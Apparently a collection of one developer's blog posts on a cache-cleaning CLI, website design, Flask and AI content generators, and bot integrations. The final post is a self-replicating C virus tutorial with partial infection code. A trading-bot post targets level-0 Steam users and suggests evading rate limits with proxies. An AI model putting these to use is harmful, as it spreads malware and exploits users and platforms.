Forem: Aymen Hmani

Shatter: One Command to Reclaim Gigabytes of Build Junk Across Every Language You Use

Aymen Hmani — Wed, 01 Apr 2026 09:51:45 +0000

TL;DR: shatter is a cross-platform CLI tool that finds and obliterates build caches (node_modules, .next, __pycache__, .gradle, …) across all your projects with a single command. Think npkill but for every ecosystem.

The Problem

If you're like me, you have dozens of repos sitting on disk — course projects, side projects, experiments. Each one hoards node_modules, .next build caches, Python virtual environments, and more. Manually hunting them down is tedious. shatter automates the whole thing.

What Is Shatter?

Shatter is a Python CLI tool that:

Scans any directory tree for known build artifacts and dependency folders
Supports 10+ ecosystems — JavaScript, Python, Rust, Go, PHP, Ruby, Java, .NET, Dart, Expo
Computes sizes in parallel using threaded I/O for fast results
Deletes safely with dry-run mode, .shatterignore protection, and confirmation prompts
Works in CI/CD with --yes for non-interactive cleanup

Comparison (How it differs from alternatives)

There are existing tools in this space, but Shatter was built to solve their specific friction points:

Vs. npkill: npkillis fantastic but strictly interactive—you must manually navigate its UI to delete folders. Shatter can be run headlessly via flags, allowing for total automation.

Vs. kondo: kondo(written in Rust) takes a blunt approach; if it detects a project, it wipes all artifacts. Shatter allows for surgical precision—you can wipe your gigabytes of build caches while keeping your local dependencies intact for offline work.

The Safety Net: Neither of the major alternatives has persistent, per-project protection. Shatter’s .shatterignore file acts just like .gitignore, ensuring you never accidentally wipe a legacy project that takes 45 minutes to re-compile.

Real-World Demo: My `tabaani` Repos

I have two course project repos on my machine:

tabaani_cours_v2 — a Next.js project
tabaani-course — contains a travel-agency sub-project

Let's see what shatter finds.

1. Full Scan — `tabaani_cours_v2`

shatter shatter "C:\Users\everp\Documents\GitHub\tabaani_cours_v2" --all --dry-run

     _____ __          __  __
    / ___// /_  ____ _/ /_/ /____  _____
    \__ \/ __ \/ __ `/ __/ __/ _ \/ ___/
   ___/ / / / / /_/ / /_/ /_/  __/ /
  /____/_/ /_/\__,_/\__/\__/\___/_/     v0.1.3

                         Scan Results
╭──────┬──────────────────────────────────────────────┬────────────┬──────────────╮
│    # │ Directory                                    │    Type    │         Size │
├──────┼──────────────────────────────────────────────┼────────────┼──────────────┤
│    1 │ tabaani_cours_v2\node_modules                │     deps   │     884.6 MB │
├──────┼──────────────────────────────────────────────┼────────────┼──────────────┤
│    2 │ tabaani_cours_v2\.next                       │    cache   │     269.9 MB │
╰──────┴──────────────────────────────────────────────┴────────────┴──────────────╯

╭──────────────────────────── Summary ─────────────────────────────╮
│                                                                  │
│   🗑  Caches:  269.9 MB                                          │
│   📦 Deps:     884.6 MB                                          │
│                                                                  │
│   💎 Total:    1.1 GB                                            │
│                                                                  │
│     ↑ Nothing was deleted (dry run)                              │
│                                                                  │
╰──────────────────────────────────────────────────────────────────╯

1.1 GB of reclaimable space in a single project. The node_modules alone is 884 MB.

2. Full Scan — `tabaani-course`

shatter shatter "C:\Users\everp\Documents\GitHub\tabaani-course" --all --dry-run

     _____ __          __  __
    / ___// /_  ____ _/ /_/ /____  _____
    \__ \/ __ \/ __ `/ __/ __/ _ \/ ___/
   ___/ / / / / /_/ / /_/ /_/  __/ /
  /____/_/ /_/\__,_/\__/\__/\___/_/     v0.1.3

                               Scan Results
╭──────┬──────────────────────────────────────────────────────┬────────────┬──────────────╮
│    # │ Directory                                            │    Type    │         Size │
├──────┼──────────────────────────────────────────────────────┼────────────┼──────────────┤
│    1 │ tabaani-course\travel-agency\node_modules            │     deps   │     420.0 MB │
╰──────┴──────────────────────────────────────────────────────┴────────────┴──────────────╯

╭──────────────────────────── Summary ─────────────────────────────╮
│                                                                  │
│   📦 Deps:     420.0 MB                                          │
│                                                                  │
│   💎 Total:    420.0 MB                                          │
│                                                                  │
│     ↑ Nothing was deleted (dry run)                              │
│                                                                  │
╰──────────────────────────────────────────────────────────────────╯

Another 420 MB from a nested node_modules inside a sub-project.

Combined total across both repos: ~1.5 GB — and these are just two projects!

3. Targeted Scans — Deps Only

You can isolate the scan to just dependencies:

shatter shatter "C:\Users\everp\Documents\GitHub\tabaani_cours_v2" --deps --dry-run

                         Scan Results
╭──────┬──────────────────────────────────────────────┬────────────┬──────────────╮
│    # │ Directory                                    │    Type    │         Size │
├──────┼──────────────────────────────────────────────┼────────────┼──────────────┤
│    1 │ tabaani_cours_v2\node_modules                │     deps   │     884.6 MB │
╰──────┴──────────────────────────────────────────────┴────────────┴──────────────╯

╭──────────────────────────── Summary ─────────────────────────────╮
│   📦 Deps:     884.6 MB                                          │
│   💎 Total:    884.6 MB                                          │
│     ↑ Nothing was deleted (dry run)                              │
╰──────────────────────────────────────────────────────────────────╯

4. Fast Mode — Skip Size Calculation

When you don't care about exact sizes and just want to see what's there:

shatter shatter "C:\Users\everp\Documents\GitHub\tabaani_cours_v2" --all --dry-run --fast

                         Scan Results
╭──────┬──────────────────────────────────────────────┬────────────┬──────────────╮
│    # │ Directory                                    │    Type    │        Count │
├──────┼──────────────────────────────────────────────┼────────────┼──────────────┤
│    1 │ tabaani_cours_v2\.next                       │    cache   │            — │
├──────┼──────────────────────────────────────────────┼────────────┼──────────────┤
│    2 │ tabaani_cours_v2\node_modules                │     deps   │            — │
╰──────┴──────────────────────────────────────────────┴────────────┴──────────────╯

╭──────────────────────────── Summary ─────────────────────────────╮
│   🗑  Caches:  1 dir(s)                                          │
│   📦 Deps:     1 dir(s)                                          │
│   💎 Total:    2 directories (run without --fast to see sizes)   │
│     ↑ Nothing was deleted (dry run)                              │
╰──────────────────────────────────────────────────────────────────╯

Instant results — no waiting for size computation.

5. Directory Protection with `.shatterignore`

Sometimes you want to protect a directory from being scanned (e.g. a project you're actively working on). Just drop an empty .shatterignore file in it:

# Protect the travel-agency sub-project
touch tabaani-course/travel-agency/.shatterignore

# Re-run the scan
shatter shatter "C:\Users\everp\Documents\GitHub\tabaani-course" --all --dry-run

     _____ __          __  __
    / ___// /_  ____ _/ /_/ /____  _____
    \__ \/ __ \/ __ `/ __/ __/ _ \/ ___/
   ___/ / / / / /_/ / /_/ /_/  __/ /
  /____/_/ /_/\__,_/\__/\__/\___/_/     v0.1.3

  ⏭  Skipped travel-agency (found .shatterignore)
╭──────────────────────────────────────────────────────────────────╮
│                                                                  │
│  ✨ Nothing to clean — your project tree is spotless!            │
│                                                                  │
╰──────────────────────────────────────────────────────────────────╯

The 420 MB node_modules inside travel-agency is now completely invisible to shatter. Remove the .shatterignore file when you're ready to clean it up.

6. Verbose Mode — Group by Project

shatter shatter "C:\Users\everp\Documents\GitHub\tabaani_cours_v2" --all --dry-run --verbose

                    Scan Results — by Project
╭──────────────────────────────────────────────┬────────────┬──────────────╮
│ Project / Directory                          │    Type    │         Size │
├──────────────────────────────────────────────┼────────────┼──────────────┤
│ 📁 (no project)                              │            │       1.1 GB │
├──────────────────────────────────────────────┼────────────┼──────────────┤
│    └─ node_modules                           │     deps   │     884.6 MB │
├──────────────────────────────────────────────┼────────────┼──────────────┤
│    └─ .next                                  │    cache   │     269.9 MB │
╰──────────────────────────────────────────────┴────────────┴──────────────╯

╭──────────────────────────── Summary ─────────────────────────────╮
│   🗑  Caches:  269.9 MB                                          │
│   📦 Deps:     884.6 MB                                          │
│   💎 Total:    1.1 GB                                            │
│     ↑ Nothing was deleted (dry run)                              │
╰──────────────────────────────────────────────────────────────────╯

Key Features Recap

Feature	What it does
`--dry-run` / `-n`	Preview what would be deleted — nothing touches disk
`--deps` / `-d`	Target only dependency folders (`node_modules`, `.venv`, `target`, …)
`--cache` / `-c`	Target only build caches (`.next`, `__pycache__`, `.gradle`, …)
`--all` / `-a`	Target everything
`--fast` / `-f`	Skip size computation for instant results
`--verbose` / `-v`	Group results by project root
`--yes` / `-y`	Skip confirmation for CI/CD automation
`--older-than` / `-o`	Only target dirs older than a period (e.g. `30d`, `3m`, `1y`)
`.shatterignore`	Drop in any directory to protect it from scanning

Install

git clone https://github.com/TheLime1/shatter.git
cd shatter
pip install -e .

Requires Python 3.10+.

Built by TheLime1. Give it a star if it saved you some disk space!
Shatter repo

How to Build a Website So Premium People Trust You Instantly

Aymen Hmani — Thu, 19 Mar 2026 05:51:30 +0000

Most websites aren’t bad — they just feel cheap.

And when a website feels cheap, people assume the business behind it is too.

This checklist breaks down the exact elements that separate premium, high-trust websites from ones that quietly repel customers. Use it to audit your own site, brief a designer properly, or pressure-test whether your website is actually doing its job.

1. Foundation: Does the Site Feel Intentional?

A premium website never feels accidental.

Clear purpose on arrival: Visitors immediately understand what you do, who it’s for, and why it matters — without scrolling.
No “DIY energy”: Nothing looks templated, rushed, or thrown together. Even simple layouts feel deliberate.
Immediate trust signals: Professional tone, confident messaging, and visual clarity prevent the “this feels sketchy” reaction.

2. Bespoke Assets & Graphics: Creating Depth

Cheap sites are text-heavy. Premium sites have visual structure.

Custom graphics (not stock icons): Visual elements are designed specifically for the brand — not pulled from generic libraries.
Graphics serve a purpose: They guide attention, break up content, and make information easier to digest.
Brand-aligned visuals: Every graphic matches the tone, colour palette, and personality of the brand.
No visual noise: Nothing looks decorative “just because”. Every asset earns its place.

3. Brand Strategy: Professional Foundations

Premium sites are built on strong brand fundamentals.

Logo

Intentional, professional logo: Simple is fine — amateur isn’t. The logo looks considered and credible.

Colour Palette

Cohesive colour system: Colours work together to create a consistent mood, not visual chaos.
Restraint over variety: Fewer colours, used with confidence, always feels more premium.

Typography

Sophisticated font choices: Fonts elevate the brand rather than cheapen it.
Readability comes first: No outdated, childish, or hard-to-read fonts anywhere.

Premium lives in the details — and typography is one of the fastest ways to signal quality.

4. Subtle Animation: Visual Interest Without Overwhelm

Premium websites feel alive, not chaotic.

Scroll-based motion: Elements fade or move naturally as users scroll.
Interactive feedback: Buttons and links respond when hovered or clicked.
No distracting gimmicks: Nothing spins, bounces, or steals attention from the content.
Reduced friction: Animations guide users instead of confusing them (no “rage clicking”).

5. Strategic Structure: Sitemap, UX & CTAs

This is where many “nice-looking” sites fail.

Logical sitemap: Pages make sense together, not just individually.
Clear user journey: Each page leads naturally to the next step.
No decision paralysis: Visitors always know where to go next.
Strong, visible CTAs: Calls to action are obvious, easy to find, and easy to take.
SEO-ready structure: Page hierarchy, internal linking, and content organisation are built for both humans and algorithms.

6. Client Autonomy: Ownership Changes Everything

A premium website empowers its owner.

Client can update content easily: No developer dependency for basic changes.
No black-box build: The site isn’t fragile, locked down, or intimidating to edit.
Built for longevity: Adding pages, updating services, and refreshing content is straightforward.

A site that’s easy to update stays fresh — and freshness is something users feel.

7. Handover & Post-Launch Care

Premium isn’t just the build — it’s the experience.

Structured handover training: Clients are shown exactly how to use and manage their site.
Clear expectations set: Clients know what they can do themselves and when to ask for help.
Post-launch support window: Questions and issues are handled without friction after launch.
Optional ongoing support: Maintenance is available — without pressure or hidden costs.

Final Audit Question

If someone landed on your website for the first time today, would they think:

"These people are professional. I trust them."

"Something about this feels… off."

If it’s the second one — this checklist shows you exactly why.

How to Use This Checklist

Audit your current site honestly.
Use it as a brief when hiring a designer.
Identify what’s missing before spending another pound on traffic.

A premium website isn’t louder — it’s clearer, calmer, and more intentional.

And finally, if you’re looking for inspiration, feel free to explore the website shown in the screenshot: https://www.espritads.site/

Building Infinite AI Web: The Journey Begins (pt1)

Aymen Hmani — Wed, 12 Mar 2025 15:56:37 +0000

The Spark of an Idea

It started with a simple question: What if any web URL could instantly generate meaningful content? Not just placeholder text, but actual, informative content tailored to whatever path a user enters in their browser. That's how Infinite AI Web was born.

I've always been fascinated by the potential of AI to transform content creation. When Google released their Gemini 2.0 Flash model, I saw an opportunity to build something that could dynamically generate entire web pages on demand. No more empty 404 pages - just continuous, boundless content.

Actually, this isn't my first attempt at such a project. The seed was planted about 2 years ago when OpenAI released their first models. Back then, I created a prototype using Flask and OpenAI's Davinci v3 model, which I documented in this blog post. While that early version was promising, the recent advancements in AI models like Gemini have made it possible to take the concept much further.

The First Version

The core concept was straightforward but powerful:

A user navigates to any URL on the site
If content already exists for that path, serve it immediately
If not, have an AI model generate relevant HTML content
Save that content for future requests
Maintain a proper directory structure matching URL paths

I built a minimal Flask application that could intercept any URL request, check for existing content, and if needed, prompt Gemini to create a new HTML page from scratch based solely on the URL path.

@app.route("/<path:path>", methods=['POST', 'GET'])
def catch_all(path=""):
    # Check if file exists
    web_file_path = os.path.join(WEB_DIR, path + ".html")
    if os.path.exists(web_file_path):
        # Serve existing content
        with open(web_file_path, "r", encoding="utf-8") as f:
            content = f.read()
        return content, 200, {'Content-Type': 'text/html'}

    # Generate new content with AI
    prompt_content = BASE_PROMPT.replace("{{URL_PATH}}", path)
    response = model.generate_content(prompt_content)
    # Save and return the new content
    # ...

The initial results were surprising - Gemini could create coherent, well-structured HTML pages about almost any topic I threw at it. With a simple search interface and an automatically generated index of saved pages, the system was functional but basic.

Click to see video

the history of routes get saved here so they it docsnt consume more api tokens :

you can check the history of saved html files here :
https://thelime1.github.io/infinite-ai-web/

Charting the Course Forward

As I tested the system, I found myself constantly thinking about what it could become. The potential seemed enormous, but so did the challenges. I started mapping out a roadmap for future development:

Content complexity: Right now pages are simple HTML. What if they included interactive elements, custom layouts, and executable code examples?
Visual richness: Text-only pages work, but incorporating AI-generated images could transform the user experience.
Model flexibility: What if users could choose between different AI models to see how they interpret the same topic differently?
Reference integration: Linking to external sources would add credibility and expand the knowledge network.
Content depth: Creating links that go deeper into subtopics could build an ever-expanding knowledge graph.
Static deployment: Automatically exporting generated content to a static site would improve loading times and reduce costs.
Visual navigation cues: Color-coding links based on whether they lead to existing content or would generate new pages.

Early Challenges

Building the initial prototype revealed several interesting challenges:

Context retention: Ensuring the AI understands hierarchical URL paths (like /python/classes/inheritance) and maintains that context in its responses.
Content consistency: Maintaining a consistent style and formatting across different pages generated at different times.
Path normalization: Converting search queries and URL paths into consistent, web-friendly formats.
Filesystem structure: Creating directories on demand that match URL paths for proper content organization.

Try It Yourself

Want to see this in action? You can run the project on your own machine:

repo link

Prerequisites

Python 3.7 or higher
Google Gemini API key (you can get one for free at Google AI Studio)

Installation

Clone the repository:

   git clone https://github.com/TheLime1/infinite-ai-web
   cd infinite-ai-web

Install the required dependencies:

   pip install -r requirements.txt

Create a .env file in the project root with your Google Gemini API key:

   GEMINI_API_KEY=your_api_key_here

Running the Application

Run the Flask application:

python infinite_web.py

The server will start at http://localhost:5000 by default. From there, you can search for any topic or directly navigate to any path to see the AI generate content on the fly!

Looking Ahead

This is just the beginning. In my next posts, I'll dive into implementing the first major enhancement: generating more complex, interactive content with rich media elements. I'll also explore the technical challenges of image generation and how to integrate it seamlessly into the content creation workflow.

Stay tuned as I document this journey of expanding Infinite AI Web into something truly remarkable.

How to Integrate Your Poe.com Ai Bot into Your Website: A Step-by-Step Guide

Aymen Hmani — Fri, 31 May 2024 18:48:40 +0000

Introduction

This tutorial will guide you through the process of integrating your Poe.com bot into your website. By the end of this tutorial, you'll have a fully functional bot integrated into your site with a custom front-end, ready to interact with your visitors.

before we begin use this template repo

and dont forget to install the librearies :

 pip install -r requirements.txt

Step 1: Get the Cookies from quora.com

First things first, you'll need to grab some cookies.They are essential for your bot's authentication and functionality. Here's how to get them:

Log in to quora.com: Open your web browser and navigate to Poe.com. Log in with your account credentials.
Open Developer Tools: Once logged in, open the developer tools in your browser. You can do this by right-clicking on the page and selecting "Inspect" or pressing Ctrl+Shift+I (Windows/Linux) or Cmd+Option+I (Mac).
Navigate to the Application Tab: In the developer tools window, go to the "Application" tab.
Locate the Cookies Section: Under the "Storage" section on the left sidebar, click on "Cookies" and select https://quora.com from the dropdown.
Copy the Cookies: Find the cookies (m-b and m-lat), right-click on them, and select "Copy". Open your text editor and paste the cookies into secrets.ini .

[Tokens]
b = XXXXXXXXXXXXXXXXXXX==
lat = XXXXXXXXXXXXXXXXXX==

Step 2: Create Your Bot in Poe.com

With the cookies saved, it's time to create your bot.

Make sure you have logged in poe.com using the same email which registered on quora.com.

Follow these steps:

Navigate to the Bot Creation Page: On Poe.com, find the "Create Bot" section. This is usually located in your account dashboard.
Set Up Your Bot: Fill in the necessary details for your bot, such as its name, description, and any specific functionalities you want it to have. Don't forget to upload an avatar to give your bot some personality!
Save and Deploy: Once you've configured your bot, click on the "Save" button to finalize the creation process. Your bot is now live and ready to be integrated into your website.
Add bot name to secrets.ini

[Bot]
bot_name = 5ademni_bot

Step 3: Deploy!

Run app.py

integrate with your website using <iframe>

Bonus Step: Knowledge Base!

You can automate editing your bot knowledge base using knowledge_update.py.

example :

this bot gets updates daily using scraped data for joblistings, using Github Actions

Thats it!

you can follow me on Github if you are interested About APIs and Ai !

You can read these docs if you want to further customize the chatbot

My "solution" to integrate ChatGPT into any database

Aymen Hmani — Sun, 17 Dec 2023 01:59:02 +0000

So here, I worked on an SQL database implementing the following steps:
1- Export SQL to CSV
2- Clean CSV to TXT
3- Convert to 1-line Database TXT
4- Merge it with the Base Prompt
5- Send the Merge to ChatGPT API

here my base prompt as an example :

Act as a chatbot that assists the agents of EcoDeliver. Your role is to help EcoDeliver agents effectively utilize the application, provide guidance, answer project-related questions, and offer solutions to challenges specific to EcoDeliver. EcoDeliver is an innovative IoT-powered app for efficient commands delivery management, integrating real-time tracking, user-friendly interfaces, and environmentally friendly practices. You have access to the following database:
{}
Remember that every user who interacts with you is an agent seeking assistance with EcoDeliver-related tasks
here is the message:

then add the 1line_db (N°4 in the pic) to the base prompt between {} and the user message after here is the message:

then send all that to OpenAi api

import openai

openai.api_base = "https://openrouter.ai/api/v1"
openai.api_key = 'get_ur_own_api_key'

user_msg_file_path = r'C:\path\to\the\file\merged.txt'
with open(user_msg_file_path, 'r') as user_msg_file:
    user_msg = user_msg_file.read()

response = openai.ChatCompletion.create(
    model="openai/gpt-3.5-turbo",
    messages=[
        {"role": "system", "content": ""},
        {"role": "user", "content": user_msg},
    ],
    headers={
        "HTTP-Referer": 'http://localhost:3000',
        "X-Title": 'Your App Name',
    },
)

reply_content = response.choices[0].message['content']

response_file_path = r'C:\path\to\the\file\response.txt'
with open(response_file_path, 'w') as response_file:
    response_file.write(reply_content)

print(reply_content)

ET VOILA

Pros and Cons:

Pros:
Diverse Responses: ChatGPT is a general AI, so you get responses that can't be queried using SQL. For example, you can ask about the distance traveled using just addresses.

Cons:
Costly: Exporting your entire database to ChatGPT for each message can get expensive.
Data Risk: There might be a risk when exporting data, so be cautious about the information you share.

Building an Infinite Website with Flask and OpenAI's davinci-v3

Aymen Hmani — Wed, 21 Jun 2023 00:55:49 +0000

In this tutorial, we'll explore how to create an infinite website using Flask, a Python web framework, and OpenAI's davinci-v3 language model. By combining Flask's routing capabilities and OpenAI's powerful text generation, we can dynamically generate web pages on the fly. Let's dive in and build our infinite website!

Setting Up the Flask Application

Let's start by setting up a basic Flask application. Install Flask using pip and create a new file called app.py. Place the following code inside it:

from flask import Flask, request
import openai

openai.api_key = "YOUR_OPENAI_API_KEY"

app = Flask(__name__)

# Define the base prompt and other configurations
# ...

# Define the route and request handler
# ...

if __name__ == '__main__':
    app.run()

Make sure to replace "YOUR_OPENAI_API_KEY" with your actual OpenAI API key.

Defining the Base Prompt

BASE_PROMPT = """Create a response document with content that matches the following URL path: 
    `{{URL_PATH}}`

The first line is the Content-Type of the response.
The following lines are the returned data.
In case of an HTML response, add relative href links to related topics.
{{OPTIONAL_DATA}}

Content-Type:
"""

You can modify the base prompt to suit your specific requirements. It includes placeholders {{URL_PATH}} and {{OPTIONAL_DATA}} that will be replaced dynamically based on the request.

Handling Requests and Generating Content

@app.route("/", methods=['POST', 'GET'])
@app.route("/<path:path>", methods=['POST', 'GET'])
def catch_all(path=""):
    if request.form:
        prompt = BASE_PROMPT.replace("{{OPTIONAL_DATA}}", f"form data: {json.dumps(request.form)}")
    else:
        prompt = BASE_PROMPT.replace("{{OPTIONAL_DATA}}", "")

    prompt = prompt.replace("{{URL_PATH}}", path)

    response = openai.Completion.create(
        model="text-davinci-003",
        prompt=prompt,
        temperature=0.7,
        max_tokens=512,
        top_p=1,
        frequency_penalty=0,
        presence_penalty=0
    )

    ai_data = response.choices[0].text

    content_type = ai_data.splitlines()[0]
    response_data = "\n".join(ai_data.splitlines()[1:])
    return response_data, 200, {'Content-Type': content_type}

This code sets up the route for the root URL ("/") and any other path ("/path:path"). The catch_all function is the request handler, responsible for generating the dynamic content. It replaces placeholders in the base prompt with the actual URL path and request data, if available. The OpenAI API is then used to generate the response, and the extracted content and content type are returned to the client.

Conclusion

Congratulations! You've built an infinite website using Flask and OpenAI's davinci-v3. By combining Flask's routing capabilities with the text generation power of OpenAI, you can create a dynamic web experience that generates content on the fly.

FULL CODE

Making a custom trading bot for CS:GO

Aymen Hmani — Tue, 20 Jun 2023 23:20:02 +0000

After the announcement of Counter-Strike 2, all CS:GO items skyrocketed in value. So, I thought, "Why don't I start trading skins to cash out weapon cases?"

price chart of the Dreams & Nightmares Case

1. Find the potential traders

to make the trade process easy and smooth it is essential to find Steam accounts with a minimum of four cases (valued at around $3-5). Ideally, these accounts should have a Steam level of 0. Why is this important? By having a level 0 account, the owner is unable to access the community marketplace and sell their own cases. As a result, the account owner is more likely to agree to trade their cases for skins.

Team Tunisia Group It seemed perfect for me because it has many Free2play players.
So we need to fetch thier steamID64

class SteamGroup:
    """
    This Python class fetches the SteamID64's of all the Steam group members. Use run() to fetch and print the ID's.
    """
    XML_URL = 'https://steamcommunity.com/groups/TeamTunisia' + \
        '/memberslistxml?xml=1'  # Add your custom group URL here
    XML_NEXT_PAGE = False
    XML_PAGE = 1

    REQUEST_TIMEOUT = 3.00  # in seconds

    STEAM_IDS = []

    def __init__(self):
        pass

    def get_steam_ids(self, page=XML_PAGE):
        """
        Proccessed the response from the get function (xml in text) and save the SteamID64's to an array.
        Uses get_steam_ids as a recurive function to fetch all the pages.
        :param page: the XML page, max is 1000 members per page.
        :return: the response XML in text format.
        """
        response = self.get(page)
        if response is None:
            return None

        root = ET.fromstring(response)
        members = root.find('members')
        if members is None:
            return None

        for steamid in members.findall('steamID64'):
            self.STEAM_IDS.append(int(steamid.text))

        if root.findall('nextPageLink'):
            page += 1
            return self.get_steam_ids(page)

        print('[OK!] Fetched ' + str(len(self.STEAM_IDS)) + ' SteamIDs')

        steamids = self.STEAM_IDS
        self.STEAM_IDS = []

        return steamids

    def get(self, page):
        """
        Get's the XML GroupMembers from Steam, no API key required.
        :param page: the page, max 1000 members per page.
        :return: the reponse, return None is not a valid response.
        """
        url = self.XML_URL + '&p=%s' % page

        response = None
        try:
            response = requests.get(url, timeout=self.REQUEST_TIMEOUT)

            print('[%s] %s' % (response.status_code, response.url))

            if response.status_code != 200:
                return None
        except Timeout as e:
            print(e)
        except RequestException as e:
            print(e)

        if response is None:
            return None

        return response.text

2. Filter the Data

a. more than 4 cases

After acquiring more than 3000 steamIDs, we need to filter the ones that have more than 3 cases.

def getInventory(steamid):
    data = requests.get(
        "https://steamcommunity.com/inventory/{}/730/2?l=english&count=100".format(steamid))
    with open("data.txt", "w", encoding="utf-8") as f:
        f.write(data.text)
    json_data = json.loads(data.text)
    if "rgDescriptions" not in json_data:
        return False  # User's inventory is private or not accessible
    descriptions = json_data["rgDescriptions"]
    csgo_cases = 0
    for item in descriptions:
        if "case" in descriptions[item]["name"].lower():
            csgo_cases += 1
    return csgo_cases > 4

carful here for each cycle the code waste 100 request (&count=100") and steam only allow 10,000 per day , but you can dodge that using proxies

b. LVL 0 in steam:

def is_steam_account_level_0(steam64id):
    url = f"https://steamcommunity.com/profiles/{steam64id}?xml=1"
    response = requests.get(url)
    if response.status_code == 200:
        data = response.text
        if "<level>0</level>" in data:
            return True
    return False

I make the Lvl0 account a priority in the "target list."

Tips:

you can automate the skin buying process , example
dont forget to calculate the steam tax (%15)
i you want to cash out using D-market for example add (-30%) to your cases steam price

Make a Self-Replicating Virus in C

Aymen Hmani — Wed, 25 Jan 2023 17:49:32 +0000

In this article, we’ll be learning how to make a simple computer virus in C.

we will be writing a program to infect all the C files present in the same directory with the self-replicating code and perform malicious activities through the infected C files.

DISCLAIMER : THIS TUTORIAL IS FOR EDUCATION PURPOSES ONLY AND IS NOT INTENDED TO PROMOTE ANY ILLEGAL ACTIVITIES. THE AUTHOR WILL NOT BE HELD RESPONSIBLE FOR ANY MISUSE OF THE INFORMATION PROVIDED.

we need :

To make a copy of the entire virus program itself.
To get other C files and infect them with the replicating code.
To deploy the payload or malware/spyware code.
To mark the start and end of the virus program we need to put tags in the first and the last line of the code.

// VIRUS SAYS HI!
{ virus code }
// VIRUS SAYS BYE!

Next, we import all the required C libraries.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

The virus begins with a simple payload, a function that prints "YOU HAVE BEEN INFECTED HAHAHA !!!" to the console. This is the malicious code that will be executed on the infected system.

int main(int argc, char *argv[])
{
    malicious_code();

    char self_replicating_part = 0;
    char line[MAX_LINE_LENGTH];
    char virus_code[MAX_LINE_LENGTH][MAX_LINE_LENGTH];
    int virus_code_line_count = 0;

    // Open the current file
    FILE *file = fopen(argv[0], "r");
    if (file == NULL)
    {
        printf("Error reading current file\n");
        exit(1);
    }

The main function of the virus is responsible for executing the payload and replicating itself. It starts by calling the malicious code function and initializing some variables. It opens the current file, which is the virus program itself, using the fopen function.

    // Read the current file line by line
    while (fgets(line, MAX_LINE_LENGTH, file))
    {
        if (strcmp(line, "// VIRUS SAYS HI!\n") == 0)
        {
            self_replicating_part = 1;
        }
        if (!self_replicating_part)
        {
            strcpy(virus_code[virus_code_line_count], line);
            virus_code_line_count++;
        }
        if (strcmp(line, "// VIRUS SAYS BYE!\n") == 0)
        {
            break;
        }
    }
    fclose(file);

It then reads the current file line by line, looking for a specific string "// VIRUS SAYS HI!" which marks the beginning of the virus code and "// VIRUS SAYS BYE!" that marks the end of the virus code. It copies the virus code to an array, so it can be used to infect other files.

    char command[100];
    sprintf(command, "ls -1 *.c *.cpp *.h");
    FILE *ls = popen(command, "r");
    if (!ls)
    {
        printf("Error listing files\n");
        exit(1);
    }

The virus then uses the popen function to list all the files in the current directory with the extensions .c, .cpp and .h using the command "ls -1 *.c *.cpp *.h".

Once the virus has a list of all the files in the current directory, it begins to iterate through each file. For each file, the virus first checks if the file has already been infected by searching for the "// VIRUS SAYS HI!" tag. If the file is not infected, it proceeds to infect the file by writing the self-replicating virus code to the file.
Create some test files in the same directory and with caution try executing your very own self-replicating virus!

Thank you, take care and don’t try this at home!

Code to download